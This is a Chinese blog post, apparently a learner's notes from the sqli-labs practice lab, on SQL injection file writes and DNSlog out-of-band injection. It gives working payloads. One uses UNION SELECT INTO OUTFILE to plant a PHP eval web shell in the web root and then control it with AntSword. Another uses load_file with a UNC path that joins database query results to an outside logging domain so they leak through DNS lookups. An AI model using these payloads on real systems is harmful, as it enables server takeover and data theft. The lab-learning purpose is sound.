SQL注入之(肆)

 由于之前主学二进制方向,web方向有所落下,但现在决定双修,所以web也开始推进。

进入正题,现在该学文件写入了。虽然现在SQL注入漏洞已经不常见,但还是可以从中学到很多基础,能够拓宽知识面。

文件写入(少见),需要你的数据库有读写权限,不然是不能成功的。

可以先看一下数据库有无读写权限

在information_schema中输入show variables like '%secure%';

如果secure_file_priv后面什么都没有那么是有读写权限,如果后面是NULL是没有读写权限的。

如果没有读写权限那么先在自己装的MYSQL数据文件中找到my.ini进入

 在其中找到secure_file_priv=“NULL”

如果没有就给它加上,如图:

 然后刷新数据库,再次输入show variables like '%secure%';secure_file_priv=""就成功了。

然后就是来判断是字符型还是数字型了,发现是字符型,那它的闭合方式是什么呢?

输入?id=1'发现是正确的

输入?id=1'--+把后面的东西过滤掉发现还是正确的。这说明它不是单引号闭合。

输入?id=1"和?id=1"--+正确说明不是双引号。

一个一个试当输入?id=1')它报错,但是输入?id=1')--+它还是错的不是这种闭合

当试到?id=1'))报错并且?id=1'))--+时不报错说明是这种闭合方式。

 然后用?id=1'))group by 3--+有几列。

?id=1')) union select 1,2,3--+测试查询语句

然后是一句话木马

<?php @eval($_POST['password']);?>

?id=-1')) union select 1,2,"<?php @eval($_POST['password']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\WOw.php"--+

其中password为预留密码,WOw.php为新插入的文件名。

然后可以用蚁剑链接,获得数据库权限。sql-libs第7关,我无法正常传入木马文件,然后发现phpstudy_pro,开Nginx服务,别开Apache不然写不进去,我是出现了这种情况。

然后发现多出一个PHP文件使用蚁剑链接就可以控制数据库了

这种注入方式知道原理即可,实战较少见。

DNS log手动注入

DNSlog注入它也算盲注的一种,但是它比普通盲注的效率高,像时间盲注和布尔盲注在特定的条件下对于WAF绕过有帮助但是效率低,大多数网络平台已经将sqlmap加入黑名单中,DNSlog注入 可以帮助我们提升效率,它通常是成组或成行的注入。

属于盲注的一种,这个也要读写权限(偏向于理论,上个题不能做这个题大概也不行这是题目的问题)

首先要知道load_file()函数,该函数可以读取本机或者网络上共享出来的文件。

用法如下

load_file()

这是我本机的E盘的一个叫ctf的txt文件。查出后显示有多少字节。

这是将文件移入note文件夹后的语句,如果写的路径不对它不会报错,但是它也不会显示字节的多少,只显示NULL。

这里还要说一下UNC路径这个概念。

UNC路径(Universal Naming Convention)是一种网络路径的命名规则,也被称为通用命名规范。‌ 它用于在网络中标识和访问文件、文件夹等资源。UNC路径的格式通常包括服务器名称、共享名称以及资源名称,例如\\ServerName\ShareName\ResourceName。‌

UNC路径的格式和用途

UNC路径的格式通常为\\ServerName\ShareName\ResourceName,其中:

  • ServerName表示服务器的名称。
  • ShareName表示共享的名称。
  • ResourceName表示共享内的资源名称,如文件夹或文件。

win+R然后输入

\\访问主机(服务器)IP\已经共享的文件名\要看的文件

用SQL语句是这样的

select load_file("//服务器IP/要访问的共享文件夹/文件名");

 以上是正常的写法下面介绍我们要学的手法

如果我们将服务器IP写成网站的域名,网站数据库自动会进行一次域名解析得到服务器的IP,在其前面加上SQL查数据库的SQL命令

select load_file("//(select database())+.+域名/要访问的共享文件夹/文件名");

注意中间的那个“.”这是个拼接符, 将查询语句和域名拼接在一起时,就会先执行查库命令,当然我们不会去关心后面的要访问的文件能不能成功,我们只关心它的查询语句能不能查出东西,然后查出东西怎么看到。

我们需要看到DNS解析日志

这里有个网站http://www.dnslog.cn/

这个要API,但个人使用推荐http://ceye.io

以sqli-labs靶场中的题为例

访问1p3nrg.dnslog.cn并在该网站中查到DNS日志

 可以看到数据库名

 注意查表名时要在后面加上limit函数控制输出的内容。

还有就是为什么要用concat函数,因为将查询语句直接放进去是无法执行,需要concat进行拼接。

然后剩下的依旧是原来那些查询命令。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值